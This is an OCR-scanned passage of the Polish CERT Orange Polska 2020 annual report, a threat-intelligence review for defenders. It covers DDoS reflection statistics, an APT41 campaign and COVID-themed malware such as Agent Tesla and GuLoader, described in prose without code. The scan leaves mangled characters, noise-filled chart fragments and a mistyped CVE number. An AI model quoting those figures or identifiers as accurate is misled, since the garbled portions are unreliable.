charakterystyce byto 19,7 proc. w roku 2020, za$ na
przestrzeni roku najwiecej incydentéw w tej kategorii
obstuzono w kwietniu, a najmniej w styczniu. Incydenty
te, podobnie jak ztosliwe oprogramowanie, moga by¢
szczegblnym zagrozeniem i powodowac istotne straty,
dlatego poswieciliémy im odrebng czesé raportu.

Obrazliwe i nielegalne tresci

Na grupe incydentow okreslanych jako ,obrazliwe

i nielegalne tresci” sktadaja sie przede wszystkim
przypadki dotyczace rozsytania spamu. Inne typy
incydentow w tej grupie to m. in. przypadki dotyczace
naruszen praw autorskich (np. piractwo) oraz
rozpowszechniania tresci zabronionych prawem

(np. tresci rasistowskie, pornografia dziecieca

czy wychwalajace przemoc). Na przestrzeni roku
2020 szczegolne nasilenie incydentdw w tej kategorii
mozna byto zaobserwowaé w pazdzierniku, zas
najmniejsze w maju.

Poufnos¢ i integralnosé informacii

Na te klase sktadajg sie przypadki nieautoryzowanego
dostepu do informacji oraz zmiany lub usuniecia zbioréw
informacji. W 2020 r. odnotowano 3,9 proc. tego typu
przypadkéw. Jednak takie incydenty majg duzy ciezar
gatunkowy. W praktyce oznaczajg powazne problemy
zwigzane z wyciekiem informacji lub innymi
konsekwencjami nieautoryzowanego dostepu

do nich. Na przestrzeni roku najwiecej incydentéw w tej
kategorii obstuzono w marcu, a najmniej we wrzesniu.

Proby wtaman

W kategorii ,proby wtaman” ujeto gtéwnie przypadki
usitowania przetamania zabezpieczen przez wykorzystanie
podatnosci systeméw, jego komponentéw lub catych sieci
oraz préb logowania do ustug lub systeméw dostepowych
(zgadywania hasef), majace na celu uzyskanie dostepu

do systemu czy przejecia nad nim kontroli. Incydentéw

o takiej charakterystyce byto 3,3 proc. w roku 2020,

zas na przestrzeni roku najwiecej incydentow

w tej kategorii obstuzono we wrzesniu.

Oszustwa sieciowe

W kategorii ,,oszustwa sieciowe” zostaty zawarte
gtéwnie przypadki nieautoryzowanego uzycia zasobéw
i nielegalnego uzywania nazwy innego podmiotu bez
jego zezwolenia. Przypadki te stanowity 2 proc.
wszystkich incydentow, najwiecej przypadkow w tej
kategorii na przestrzeni roku wystgpito w styczniu

oraz listopadzie. Przypadki te dotyczyty gtéwnie atakow
podszywania sie pod znane marki i instytucje

w kampaniach ztosliwego oprogramowania oraz
phishingowych.

Wtamania sieciowe

Na te klase incydentéw skfadajg sie ich typy tozsame

z klasg ,préby wtaman” jednak zakonczone pozytywnym
efektem z perspektywy atakujacego. Incydentéw

o takiej charakterystyce byto 0,2 proc. w roku 2020.

Inne

Incydenty niesklasyfikowane w poprzednich kategoriach
stanowity nieznaczny odsetek wszystkich przypadkow.
Nie mozna okresli¢ zadnego dominujgcego rodzaju wsrod
tych incydentéw.
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Port 123 jest uzywany przez ustuge NTP (Network Time Protocol) stuzacej synchronizacji czasu w systemach
teleinformatycznych i telekomunikacyjnych. Najwiekszy ruch na tym porcie zaobserwowano w kwietniu (powyzej 160 Gbps).

Ataki DDoS na ustugi oraz infrastrukture
zaobserwowane w sieci Orange Polska

W niniejszym rozdziale przedstawiamy skale oraz typy wolumetrycznych

Charakterystyka ruchu na porcie 123 na analizowanym taczu Orange Polska

p . . - tp(123) i tp (123) out t h i
atakéw DDoS identyfikowanych na analizowanych taczach Orange S R s e e
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of Service — DDoS) to jedne z najprostszych 120
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Ponizej przedstawiamy charakterystyki ruchu dla data

najczesciej wykorzystywanych w atakach DDoS portéw
protokotu UDP na analizowanych tgczach Orange Polska.
Dane podawane na wykresach sg usrednione.

Port 389 jest wykorzystywany przez ustuge CLDAP
(Connectless Lightweight Directory Access Protocol) stuzacej
do korzystania z ustug katalogowych. Na analizowanym
taczu Orange Polska, najwigkszy ruch na tym porcie
(powyzej 120 Gbps) zaobserwowano w styczniu.

Charakterystyka ruchu na porcie 389 na analizowanym taczu Orange Polska

Srednia szczytowa
wielkosc ataku: niespetna

Port 53 uzywany przez ustuge DNS (Domain Name System), odpowiedzialnej za wzajemna translacje nazw domenowych
i adreséw IP. Najwiekszy ruch na tym porcie zostat zidentyfikowany w sierpniu, we wrzesniu oraz grudniu (ponad 80 Gbps).

Gbps.

Charakterystyka ruchu na porcie 53 na analizowanym taczu Orange Polska
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Port 1900 jest uzywany przez protokét SSDP (Simple Service Discovery Protocol), ktéry stuzy do wykrywania urzagdzen
UPnP (Universgl Plug a.nd Play), np. klawiatury, drukarek czy routerow. Najwiekszy ruch na tym porcie zaobserwowano Port 11211 jest uzywany przez ustuge Memcached (system buforowania pamieci podrecznej) stuzacej do zwiekszenia
w marcu oraz listopadzie (ponad 5 Gbps). szybkosci dziatania np. baz danych czy aplikacji internetowych. Najwiekszy ruch na tym porcie zaobserwowano

w sierpniu (ponad 100 Gbps).

Charakterystyka ruchu na porcie 1900 na analizowanym faczu Orange Polska
Charakterystyka ruchu na porcie 11211 na analizowanym taczu Orange Polska

B ssdp (1900)in M ssdp (1900) out M szczytowy ruch na porcie B memcache (11211)in B memcache (11211) out B szczytowy ruch na porcie
120
6
N N
5 100
— 4 m
g g 80
2 o)
e 3 e
5 60
40 \
1 | | L, [l
lhl 20 1‘
; N M
Q Q Q Q Q Q Q Q Q Q Q Q
v v v v v v v v v v v v
U I I R LG S A A A LGN L 0| N A

N Q9 o o o © D o Q N 9
o © © o S S © S S N N N N N N N Q N N N N N N N
S ) S S S S S ) ) ) N N N N N N4 N N N v N v N N
Vv v v v v v Vv v v v v v
d N NS Na ® o S ® N O N NV
ata \. \. \. \. \. \o \. \. \« \« \. \«
N N Q N Q N N N N N N N
data

Port 19, uzywany przez protokét CharGen (Character Generator Protocol), ktory stuzy generowaniu znakéw w celach

testowych. Najwiekszy ruch na tym porcie zaobserwowano w czerwcu (niemal 14 Gbps). ROdzaje atakow DDoS w sieci Orange Polska

Klasyfikacja atakéw DDoS uzywana przez CERT Orange Polska opiera sie na trzech kategoriach o r6znym poziomie
krytycznosci. Ten aspekt jest zalezny od wolumenu ruchu oraz czasu trwania anomalii. Alert wysoki najczesciej ma istotny

Charakterystyka ruchu na porcie 19 na analizowanym faczu Orange Polska P ; 4 ; H ast raitia ativ i !
wplyw na dostepnos¢ ustug, zas te o poziomach srednim i niskim ograniczajg je jedynie w specyficznych warunkach.

M chargen (19)in  Mchargen (19) out W szczytowy ruch na porcie
Rozktad alertow DDoS w podziale na poziom krytycznosci
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Czestos$¢ wystepowania atakdw DDoS na przestrzeni
ostatnich lat utrzymuije sie na zblizonym poziomie,

cho¢ z tendencjg wzrostowa, w roku 2020 zarejestrowano

ich wiecej w poréwnaniu do roku 2019. Najwiecej
alertéw na przestrzeni roku 2020 zarejestrowano
21 maja (niemal 600).

W rozktadzie procentowym poziomu krytycznosci atakdéw

DDoS najwiekszy udziat alertéw stanowig te o Srednim
stopniu krytycznosci — ponad potowe odnotowanych
zdarzen. W poréwnaniu do 2019 r. jest ich nieznacznie
mniej. W roku 2020 udziat atakdw o najwyzszym stopniu
krytycznosci jest na identycznym poziomie co atakéw o
najnizszym stopniu krytycznosci (18 pp.) oraz na bardzo
zblizonym poziomie do roku 2019.

Poziom krytycznosci alertéw DDoS
w rozkfadzie procentowym

Najwieksza odnotowana
wartos¢ natezenia ruchu
w szczycie ataku to ok.

302,9 Gbps/88,4 Mpps
(przy niemal 240 Gbps/67
Mpps w 2019).
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Diagram poziomu krytycznosci
alertow DDoS w rozktadzie procentowym

= 18,9%
= 62,2%
= 18,9%

B Niski
I Sredni
B Wysoki

W rozktadzie najczestszych typéw atakéw, podobnie
jak w poprzednich latach, najczesciej wystepujacymi
rodzajami atakdw wolumetrycznych obok UDP
Fragmentation (81,3 proc. wszystkich atakéw — podobny
poziom jak w roku 2019) byty ataki Reflected DDoS
przy uzyciu protokotéw UDP (CLDAP, DNS, NTP).
WSsrod nich w roku 2020, najczesciej wykorzystywane
byty otwarte serwery DNS (53 proc. — znaczny wzrost
w stosunku do roku 2019 - o 11 pp.), otwarte serwery
LDAP - identyfikowane w 44 proc. - znaczny spadek
w stosunku do roku 2019 - o 8 pp.), niepoprawnie
skonfigurowane serwery czasu (NTP) — identyfikowane
w 19 proc. wszystkich atakoéw (spadek o niemal 9 pp.),
serwery Memcached (ponad 2 proc. — zauwazalny
wzrost w stosunku do roku 2019 - o niemal 2 pp.),
protokét CHARGEN oraz SSDP (ponizej 1 proc.).

Warto odnotowad, iz w roku 2020 identyfikowano
réwniez przypadki atakéw Reflected DDoS,

z wykorzystaniem takich ustug jak: Apple Remote
Desktop (ARD) - port (UDP/3283), WS-Discovery
(WSD) - port UDP/3702), Ubiquiti - port UDP/10001,
czy openvpn — port UDP/1194.

Najczestsze typy atakow DDoS
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Jak broni¢ sie, a raczej jak
nie uczestniczy¢ w atakach
Reflected DDoS:

B wylaczy¢ ustuge wszedzie tam, gdzie nie
jest potrzebna,

m nie udostepniaé ustugi wszystkim uzytkownikom,
jesli nie jest to konieczne,

m  korzysta¢ z mozliwie najnowszej wersji protokotu.

Choc¢ istnieje wiele metod ochrony przed DDoS, duze ataki
wolumetryczne moga zostac¢ zmitygowane jedynie na poziomie
ISP badz przy wsparciu specjalistycznych firm ,,ukrywajgcych”
chronione serwisy za swojg infrastruktura. W takiej sytuacji
ograniczenie skutkéw nastepuje dzieki geograficznemu
rozproszeniu weztow, filtrowaniu ztosliwego ruchu oraz
taczom o duzej przepustowosci.

Wolumen atakow DDoS zaobserwowanych
w sieci Orange Polska
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Czestosc¢ wystepowania atakow DDoS
na przestrzeni ostatnich lat utrzymuje sie
na zblizonym poziomie, cho¢ z tendencija
wzrostowa, w roku 2020 zarejestrowano
ich wiecej w porownaniu do roku 2019.

Raport CERT Orange Polska 2020

Wolumen atakow DDoS

w sieci Orange Polska
oraz czas ich trwania

Czas trwania atakow DDoS
zaobserwowanych w sieci
Orange Polska ((w minutach)

Srednia wielko$¢ szczytowego natezenia ataku DDoS

zaobserwowana w sieci Orange Polska siegneta poziom

niespetna 4 Gbps (przy 4,3 Gbps w roku 2019). Z kolei

najwieksza odnotowana warto$¢ natezenia ruchu B 2020
w szczycie ataku to ok. 302,9 Gbps/88,4 Mpps (przy I 2019
niemal 240 Gbps/67 Mpps w 2019). Cho¢ $rednia szczytowa

wielko$¢ atakéw zaobserwowana w roku 2020 byta

nieznacznie nizsza niz w roku 2019 to na przestrzeni

ostatnich lat jest to tendencja wzrostowa (2019 w stosunku

do 2018 roku miat miejsce znaczny wzrost). Na wzrost sity

atakoéw wptyw majg nie tylko szybsze tgcza internetowe,

ale tez przystepna cena atakéw DDoS na czarnym rynku

oraz w duzym stopniu wykorzystywanie technik

wzmochnionego odbicia oraz botnetéw bazujgcych

na urzadzeniach internetu rzeczy. Rozktad procentowy

wolumendw atakéw jest podobny jak w poprzednich latach.

W pordwnaniu do roku 2019 zaobserwowano wzrost atakéw

o sile ponizej 0,2 Gbps (o ponad 2 pp.), w przedziale

0,2-0,5 Gbps (o ponad 3 pp.).

W pozostatych grupach nastgpit spadek udziatu atakéw,

najwiekszy w grupie atakow o sile w przedziale 0,5-2 Gbps
(o niemal 3 pp.) a w przedziatach 2-5 Gbps, 5-10 Gbps
oraz powyzej 10 Gbps nieznaczny spadek.

Podobnie jak w latach poprzednich utrzymuje sie trend
wskazujgcy na coraz krétszy czas trwania atakéw. Rozktad
grup czasu trwania atakéw DDoS jest bardzo zblizony do roku
2019. Wiekszo$¢ zarejestrowanych alertow, podobnie jak

w 2019 roku, trwata ponizej 10 minut (82 proc. wszystkich

— spadek o nieco ponad 4 pp.). Sredni czas trwania
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Komentarz Partnera:

4;)
Mirostaw Maj

Prezes Fundacji Bezpieczna Cyberprzestrzen oraz
wiceprezes spotki ComCERT SA.

W latach 2017-2018 byt doradca Ministra Obrony
Narodowej. Wczesniej zwigzany z NASK, gdzie kierowat
zespotem CERT Polska. Brat udziat w tworzeniu
ustawy o Krajowym Systemie Cyberbezpieczenstwa.
Jest pomystodawca i inicjatorem powotania Polskiej
Obywatelskiej Cyberobrony jako ochotniczej
organizacji wspierajacej system
cyberbezpieczenstwa RP. Jest wspoétzatozycielem
miedzynarodowej fundacji — Open CSIRT

Foundation, rozwijajacej modele dojrzatosci dziatan
zespotoéw reagujacych na incydenty. Od 2012 r.
koordynuje pierwsze w Polsce éwiczenia z ochrony
w cyberprzestrzeni — Cyber-EXE™ Polska.
Uczestniczyt w budowaniu nowych CERT-6w

w Polsce i zagranica. Wspoétorganizuje wspotprace
CERT-6w europejskich w ramach inicjatywy Trusted
Introducer i GEANT TF-CSIRT oraz przeprowadza
procesy akredytaciji i certyfikaciji tych zespotow.

Jest pomystodawca i organizatorem cyklu konferencji
Security Case Study.

Rok 2020, ze wzgledu na globalng pandemig, to czas
weryfikacji niemalze wszystkich modeli funkcjonowania
Swiata cyfrowego. Nie inaczej jest z obszarem zarzadzania
incydentami. Ten obszar trzeba zaliczy¢ do tych, ktére
odnotowaty wzrost zapotrzebowania na swoje ustugi.
Statystyki dotyczgce przestepstw pokazujg, ze

w niektorych przypadkach stupki pokazujace ich liczbe
sg mniejsze, ale absolutnie nie dotyczy to przestepstw
online. W ich przypadku stupki sg wigksze.

To w naturalny sposdb wymusza wieksza aktywno$é
po stronie zespotéw typu CERT.

Na szczedcie wymuszony styl pracy online nie stanat

na przeszkodzie ich skutecznosci i budowane przez
lata sojusze i struktury wspotpracy dobrze dziataja.

Do miedzynarodowych forow wspétpracy dotgczajg
kolejne zespoty, a co ciekawe Polska staje sie niezwykle
aktywna, jesli chodzi o wiaczanie sie w miedzynarodowe
struktury. Na styczniowym spotkaniu zespotow
zrzeszonych w GEANT TF-CSIRT uczestniczyta
rekordowa liczba delegatéw z polskich zespotow,

a rok 2020 byt tym, w ktérym objeliémy przewodnictwo,
jesli chodzi o liczbe certyfikowanych zespotdw.

Jest ich w Polsce obecnie 5, a kolejne lata z pewnoscia
przyniosa kolejne cer‘tyfikacje1 .

Pozytywnym zjawiskiem jest to, ze potrafimy te wole
wspotpracy przenies$é na grunt krajowy. Przyktady tego
sg w warstwie bardzo operacyjnej, takie chociazby jak
wspdtpraca przy blokowaniu niebezpiecznych stron
zwigzanych z internetowymi przestepstwami<.

Sens wspotpracy sektorowej zostat mocno podkreslony
w przygotowywanej nowelizacji Krajowego Systemu
Cyberbezpieczenstwa, ktéry zaktada obowigzkowe
powstawanie CERT-6w sektorowych. Aktywizuja sie tez
kolejne organizacje, takie np.: jak Polska Obywatelska
Cyberobronas, ktora realizuje konkretne projekty wprost
skierowane w uswiadomienie zagrozen poprzez publikacje
wynikéw swoich badan bezpieczenstwa ,polskiej”
cyberprzestrzeni — np.: bezpieczenstwa sieciowych
witryn poselskich.

W Fundacji Bezpieczna Cyberprzestrzen zawsze
staramy sie wspierac te formy organizacji, widzac
duzy sens we wspolnych dziataniach. Czasami dzieje
sie to wrecz mimowolnie, kiedy mamy okazje obserwowac
jak istotne moga by¢ dziatania najmniejszych komérek
pracujacych nad skutecznymi rozwigzaniami.

Takim konkretnym przyktadem stata sie zainicjowana
w 2020 roku Liga Cyber Twierdzy4. Wspélna zabawa

i edukacja jak budowac skuteczne systemy
cyberbezpieczenstwa i radzi¢ sobie z konkretnymi
atakami na bazie znanych scenariuszy z przesztosci
okazatg sie bardzo dobrg formg uczacg wspotpracy

i poszerzajacy specjalistyczng wiedze. Kilkanascie
turniejow rozegranych zaréwno przy okazji Ligii jak

i innych ¢éwiczen, réwniez miedzynarodowych, do dla
nas sygnat, zeby stawia¢ na mechanizmy wspotpracy,
wzajemnej inspiracji i uczyé cyberbezpieczenstwa

na prawdziwych przypadkach.

1 Lista zespotow certyfikowanych w ramch Trusted Introducer znajdujes sie tutaj: https://www.trusted-introducer.org/directory/

country_certification_Z.html

2 https://www.cert.pl/news/single/ostrzezenia_phishing/
3 https://www.cybsecurity.org/pl/liga-cyber-twierdza/

4 https://www.poc.org.pl/
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Michat Ostrowski

Regional Director Eastern Europe, FireEye

Michat Ostrowski, z zawodu ekonomista. W branzy
IT pracuje od prawie dwudziestu lat. Od niemal 15 lat
zwigzany z bezpieczenstwem IT. W FireEye zarzadza
regionem Europy Wschodniej, Rosji i krajow CIS.
Wczesniej przez 7 lat pracowat w McAfee.

Jedna z najciekawszych kampanii, jaka firma FireEye
miata okazje zaobserwowac w 2020 roku byta ta,
przeprowadzona przez chifnska grupe APT41.

Grupa ta jest wyjgtkowa z wielu powoddéw. Po pierwsze,
jest najdtuzej obserwowang przez nas grupa APT.
Sledzimy jej poczynania od 2012 roku. Po drugie,

jest jedna z najbardziej aktywnych grup. Podczas analiz
powtamaniowych u naszych klientéw spotkalismy sie

Z nig ponad 30 razy. Warto dodac, ze grupa w tym czasie
uzyta ponad 150 unikalnych probek malware. Za kazdym
razem, niezwtocznie po jej wykryciu przez naszych
ekspertéw od IR, grupa zmieniata swoj arsenat, atakujac
nastepng ofiare zupetnie nowymi prébkami malware.

Dodatkowo schemat postepowania tej grupy wykracza poza
nasze wyobrazenia o grupach APT, a zwtaszcza chinskich.
Dyscyplina i $ciste wykonywanie polecen owszem miaty
miejsce, ale tylko w godzinach 9-17. Wtedy celem tej grupy
byly ataki o motywaciji politycznej. Po oficjalnych godzinach
pracy hakerzy atakowali natomiast komercyjne sektory
gospodarki, wytudzali kryptowaluty, czy wiamywali sie na

FEB 1,2020
CVE-2019-19781 Exploitation
Downloading ‘bsd’ Payload

FEB 2-10, 2020
COVID-19 Quarantines
JAN 10, 2020 JAN 24 - 30,2020 Introduced Outside
CVE-2019-19781 Chinese Lunar of Hubel Province
POC Released New Year Holiday ?

konta uzytkownikéw gier, kradnac zawarto$é tych kont.
W ciggu jednego dnia te same osoby atakowaty firme
farmaceutyczna i jednoczesnie przeprowadzaty atak
ransomware na wytwornie gier komputerowych.
Oceniamy, ze dziatania prowadzone ,,po godzinach”
byty inicjatywa stuzaca osiagnieciu prywatnych zyskow.
To pierwsza tego typu sytuacja dla grupy APT.

Na poczatku zesztego roku zauwazylismy kampanie
grupy APT41, ktéra byta jedng z najwiekszych w historii
chinskiego cyberszpiegostwa. W okresie pomiedzy

20 stycznia a 11 marca 2020, miaty miejsce proby
wykorzystania podatnosci w Citrix NetScaler/ADC,
routerach Cisco oraz w Zoho ManageEngine Desktop
Central u 75 klientow FireEye.

Akcja obejmowata cele na catym Swiecie od Australii,
przez Wielka Brytanie i Polske do Meksyku czy Singapuru.
Atakowano rézne gatezie przemystu: bankowos¢ i finanse,
budownictwo, farmacje, przemyst obronny, instytucje
rzadowe, telekomy i sektor paliwowy.

Opisywana aktywno$¢ znaczgco spadta w okresie
pomiedzy 23 stycznia, a 1 lutego. Przerwa ta zbiegta sie w
czasie z chinskim Nowym Rokiem i jest wspdlnym mi-
anownikiem wielu obserwowanych przez nas grup z Chin.
Ciekawe jest rowniez to, ze ataki w ogdle nie wystgpity
pomiedzy 2 a 19 lutego. Miato to zwigzek z wprowadzeniem
kwarantanny z powodu COVID-19, najpierw w prowincji
Hubei, a potem w innych prowincjach.

Atak z poczatku 2020 byt nietypowy dla APT41,
gdyz zwykle grupa ta bardzo doktadnie wybierata cel
ataku i modyfikowata narzedzia tak, by byly unikalne
dla kazdego ataku. Tym razem operacja zostata
przeprowadzona na bardzo szerokg skale

z wykorzystaniem ogodlnie dostepnego malware’u
takiego jak Cobalt Strike czy Meterpreter.

Wiecej informaciji na temat dziatan tej grupy, wraz

z doktadnymi opisami wykorzystanych podatnosci,
uzytymi narzedziami i lista IOC mozna znalez¢ na stronie
www.fireeye.com

FEB 24 -25, 2020
CVE-2019-19781 Exploitation

Downloading ‘un’ Payload MAR 5, 2020
CVE-2020-10189
POC Released
FEB 21, 2020
Cisco RV320 MAR8-11, 2020
Router CVE-2020-10189
Exploitation Exploitation
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Aktywnosc¢ ztosliwego oprogramowania

w sieci Orange Polska

Nie da sie ukry¢, ze pandemia koronawirusa wptyneta na zycie miliardow
ludzi, w tym takze i na sposdb ich funkcjonowania w cyberprzestrzeni.
Koniecznos¢ dostosowania sie do nowych warunkdéw pracy, petny lub
czesciowy lockdown i powszechnie dominujacy w kontaktach
miedzyludzkich dystans spoteczny sprawity, ze internet i technologia

staly sie dla nas jedyna alternatywa lub wrecz koniecznoscia. Zmuszeni

do adaptaciji zostali wszyscy. Od rzadow i firm, po pracownikow i obywateli.
Rdéwniez cyberprzestepcy dostosowali swoje techniki i narzedzia do
warunkow, w ktorych niespodziewanie przyszto nam przezy¢ ten rok.

Ztosliwe oprogramowanie na
przestrzeni roku 2020

W 2020 roku CERT Orange Polska zidentyfikowat
ponad 5 milionéw zdarzen zwigzanych ze ztosliwym
oprogramowaniem co stanowito okoto 3% wzrost
w pordéwnaniu do roku poprzedniego.

Jak w latach ubiegtych dane zostaty zgromadzone

z sond bezpieczenstwa analizujacych sie¢ kliencka.
Sondy monitorujgce umieszczone zostaty w reprezenta-
tywnych segmentach sieci stacjonarnej i mobilnej.
Powyzsze dane zostaty uzupetnione informacjami
zebranymi w procesie threat huntingu oraz wzbogacone
wynikami analizy przeprowadzonej przez autora tekstu.

Wektory infekcji ztosliwym
oprogramowaniem w roku 2020

TT%
«21%
2%

@ Malspam
M Infekcje przegladarkowe
[ Inne
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CERT Orange Polska zidentyfikowane zagrozenia zwigzane
bezposrednio lub posrednio z aktywnoscig malware dzieli
na trzy grupy:

m Malware object: dostarczenie do stacji koncowej
ztosliwego oprogramowania np. poprzez zatacznik
z wykonywalnym skryptem lub link do pliku

umieszczonego na spreparowanym zasobie sieciowym.

B Web infection: infekcje z wykorzystaniem podatnosci
przegladarki za pomoca exploit kitdw, a takze wszelkie
fatszywe strony naktaniajace uzytkownika do pobrania
i wykonania ztosliwego kodu pod pretekstem
aktualizacji/naprawy swojego oprogramowania.

m  Malware callback: potwierdzenie skutecznego
uruchomienia ztosliwego kodu poprzez zestawienie
komunikacji sieciowej z serwerem zdalnego
zarzadzania (w celu pobrania dodatkowego kodu,
badz przekazania wykradzionych informaciji).

Malware Callback

3 083 720

Malware Object

221 184

Web Infection

114 664

Pierwszy kwartat 2020

Najczesciej wystepujace
zdarzenia w pierwszym kwartale 2020 roku®

10%
8% 8%

7% 7%
2% 2%
1% 1%
- -

Botnet.Mira
Botnet.Mozi

Botnet.Gafgyt
Trojan.Ursn

AgentTesla.RAT
Formbook.Stealer
Trojan.Emotet
Lokibot.Stealer
Trojan.Danabot

Pierwsze tygodnie roku nie zapowiadaty zmian. Wprawdzie
dominujgcy w roku 2019 Emotet ustgpit miejsca innym
rodzinom ztosliwego oprogramowania, jednak proporcje i typy
atakow nawigzywaty do ostatniego kwartatu roku poprzedniego.
Sposréd grona licznych, acz znanych juz zagrozen na czoto
wysunat sie malware znany jako Agent Tesla.

Agent Tesla to popularny RAT oferowany w ustudze Malware
as a Service na rynku cyberprzestepczym. Wyposazony

w moduty do kradziezy haset dostepowych do licznych kont

i ustug Agent Tesla na przestrzeni catego roku zadomowit sie
na liscie malware’u najczesciej nawiedzajgcego urzgdzenia
uzytkownikéw internetu w Polsce i na $wiecie. Popularno$é
zawdziecza utrudniajgcemu detekcje szerokiemu wachlarzowi
mozliwych sposobdw eksfiltracji wykradzionych danych:
smtp, ftp, a od wersji 3 rowniez telegrama, a takze
unowoczes$nianym technikom obfuskaciji na etapie egzekucji
kodu i infekcji urzgdzenia. Wersja druga oferowata napisany
w .NET modut loadera pobierajacy fragmenty zakodowanego
w base64 kodu z popularnych (a przez to trudnych do
zablokowania) witryn udostepniajgcych pliki takich jak
pastebin. Gdy juz wszystkie fragmenty trafity na urzgdzenie
koncowe, modut scalat je, dekodowat i uruchamiat inicjujac
druga faze infekcji.

Wersija trzecia dodatkowo wzbogaca i przyspiesza proces
zaciemnienia kodu, a takze posiada funkcje pozwalajace
nadpisac i zaktéci¢ funkcjonowanie wbudowanego

w Windows10 modutu antymalware — AMSI. Sam wektor
ataku cho¢ najczesciej wykorzystywat techniki mailowego

spear-phishingu nierzadko pierwszy modut ukrywat

w plikach innych niz te Office-owe, a do firm pod ktére
Agent Tesla podszywat sie na przestrzeni roku mozna
dopisac takze przynajmniej dwa polskie banki.

Poczatek roku to takze pojawienie sie nowego aktora

na rynku ztosliwego oprogramowania, ktory szybko
nawiedzit takze Polske — GuLoadera. Jak sama nazwa
wskazuje, GuLoader petni role downloadera, pobierajacego
inne ztosliwe oprogramowanie na stacje ofiary. W gronie
jego partneréw znajdowaly sie najczesciej RAT-y (Agent
Tesla, Parallax, NanoCore czy Remcos), ale takze stealery
— Formbook i Lokibot. Ten napisany w VisualBasic6
malware, wyrozniat sie przede wszystkim sposobem
dystrybucji. Wiadomosci mailowe podszywajace sie

pod duze banki (w Polsce np. PKO BP) byty spreparowane
starannie, a link do zatgczonej faktury nie prowadzit

do pobrania archiwum lub pliku officeowego na jakies
podejrzanej stronie, ale na strony popularnych serwiséw
udostepniania plikdw takich jak Dropbox czy Google
Drive. Poza tym sam umieszczany tam malware,
hardkodowany kluczami XOR uniemozliwiat silnikom
detekcji Google analize zawartosci pobieranego pliku

i zastosowania jakiegokolwiek mechanizmu prewencji
przed jego uruchomieniem.

Do funkcjonujgcych juz od jakiego$ czasu Botnetow
IOT - Miraia i Gafgyta, dotgczyt kolejny aktor — Mozi.
Mozi to kolejna ewolucja bazujgca na kodzie zrédtowym
swoich duzych poprzednikéw, zdolna do utworzenia
Botneta Peer-to-Peer posiadajgcego funkcje
przeprowadzania atakéw DDOS, kradziezy danych

czy zdalnego wykonywania kodu. Jego gtdwnym celem
staty sie niezatatane routery i urzadzenia DVR, ktére

po cichu pozwolity mu zbudowaé w ich oparciu trzeci
najwiekszy Botnet urzadzern UNIX-owych.

Jedna z ciekawszych podatnosci, ktérej publikacja miata
miejsce w pierwszym kwartale byta ta o numerze CVE-202-0601
dotyczaca systemu operacyjnego Windows10. Umozliwiata
ona podpisanie wygenerowanego certyfikatu z dowolng nazwag
domeny CA Microsoftu, domysinie zaufanym na stacjach

z systemem Windows. Taka podatnos$¢ nie tylko umozliwiata
przeprowadzenie atakéw Man-In-The-Middle w sposob
znacznie utrudniajgcy wykrycie, ale takze stworzyta mozliwo$¢
podpisywania wtasnego oprogramowania ,zaufanym”
certyfikatem firmy z Redmond. | to wiasnie ten drugi przypadek
uzycia zyskat sobie wiekszg popularno$é wsrdd zagrozen
wykrywanych w sieci Orange Polska.

W scamie i oszustwach w dalszym ciggu dominowat smishing
na Dotpaya. Podszywano sie juz jednak nie tylko pod firmy
kurierskie, a operatoréw sieci energetycznych czy gazociagi.
Z kolei amatorzy zakupdw z rynku wtérnego ciggle narazeni
byli na ryzyko oszustw zwigzanych z ptatnos$ciami Blik, ktorych
nawet w przypadku btyskawicznego stwierdzenia oszustwa
nie da sie cofng¢ i odzyskac raz wptaconych srodkow.

W mediach spotecznosciowych tez nie brakowato scamoéw,

o czym dobitnie mogli przekonac¢ sie klienci banku Millenium,
ktorym fatszywe reklamy pod ptaszczykiem rozdawnictwa
$rodkéw przez bank podrzucaty w linkach strony phishin-
gowe wyludzajgce dane wrazliwe.

5 Z powyzszych zestawien wykluczone zostaly sieci martwych Botnetéw oraz ztosliwe oprogramowanie z rodziny downloaderéw

41



Raport CERT Orange Polska 2020

Raport CERT Orange Polska 2020

Rok Szczura!

Wedtug chinskiego kalendarza rok 2020 byt rokiem Szczura i trwat od 25 stycznia 2020 do 11 lutego 2021 roku. Czemu o tym
informujemy? Poniewaz RATy (Remote Access Tool) opanowaty liste najpopularniejszych zagrozen roku 2020, a coraz to nowsze
kampanie malspamowe, szczegdlinie te wykorzystujagce motyw pandemii, rosty jak grzyby po deszczu.

W potowie marca miata miejsce bardzo ciekawa kampania. Cyberprzestepcy naktaniali swoje potencjalne ofiary do instalacji
oprogramowania Corona Antivirus dostepnej na systemy operacyjne Windows. Wedtug twércow, aplikacja zostata zapro-
jektowana przez naukowcow z Uniwersytetu Harvarda i wykorzystujgc sztuczng inteligencje miata aktywnie chroni¢ przed
koronawirusami, tylko wtedy gdy jest uruchomiona. W rzeczywistosci na komputerach ofiar instalowany byt trojan zdalnego
dostepu BackNET RAT, umozliwiajacy przeprowadzanie atakdw DDoS, robienie zrzutow ekranu, przechwytywanie klawiatury
(keylogger), kradziez plikéw cookie i zapisanych haset oraz przejmowania kontroli nad portfelami kryptowalut.

Od poczatku kwietnia obserwowali$my mocny wzrost jednego z — jak sie pdzniej okazato - najczestszych zagrozen 2020 roku,
czyli Agenta Tesli. Zaawansowany RATa, dziatajacy jako keylogger oraz ztodziej informacji spedzat sen z powiek niejednemu
zespotowi SOC na catym $wiecie. Oprogramowanie rozpowszechniane byto poprzez malspam, w tym przypadku rowniez
zadbano o aspekty socjotechniczne. W temacie wiadomosci wystepowat wyraz pilne, a caty temat napisany byt przy uzyciu
wielkich liter, informowat o pierwszych wynikach z testéw szczepionki COVID-19. Ten fakt doskonale pokazuje, w jaki sposob
cyberprzestepcy wykorzystajg globalne wiadomosci i obawy spoteczne, aby zwiekszy¢ wskazniki skutecznosci atakow.

Kolejny gtosny atak wykorzystujacy legalne oprogramowanie do zdalnego zarzadzania przypadt na miesigc maj. W tym przy-
padku hakerzy do swoich niecnych celéw wykorzystali w petni legalng aplikacje NetSupport Manager. Ofiara ataku dostawata
wiadomos$¢ e-mail rzekomo z Uniwersytetu Johnsa Hopkinsa, ktéry byt wowczas gtéwnym zrédtem wiadomosci o COVID-19.
W tresci e-maila przestepcy oferowali codzienne aktualizacje dotyczace liczby infekcji i zgondw na catym Swiecie. Wiadomos$é
dopetniat zatacznik - niewinnie wygladajacy plik Excela, ktéry po uruchomieniu wtaczat ztosliwe makra pobierajac w ten sposéb
NetSupport Managera na urzadzenie ofiary. Po udanym procesie instalacji, w ostatnim etapie ztosliwe oprogramowanie
pobierato dodatkowe komponenty: skrypt VBS oraz w petni obfuskowany skrypt PowerSploita umozliwiajgcy komunikacje z
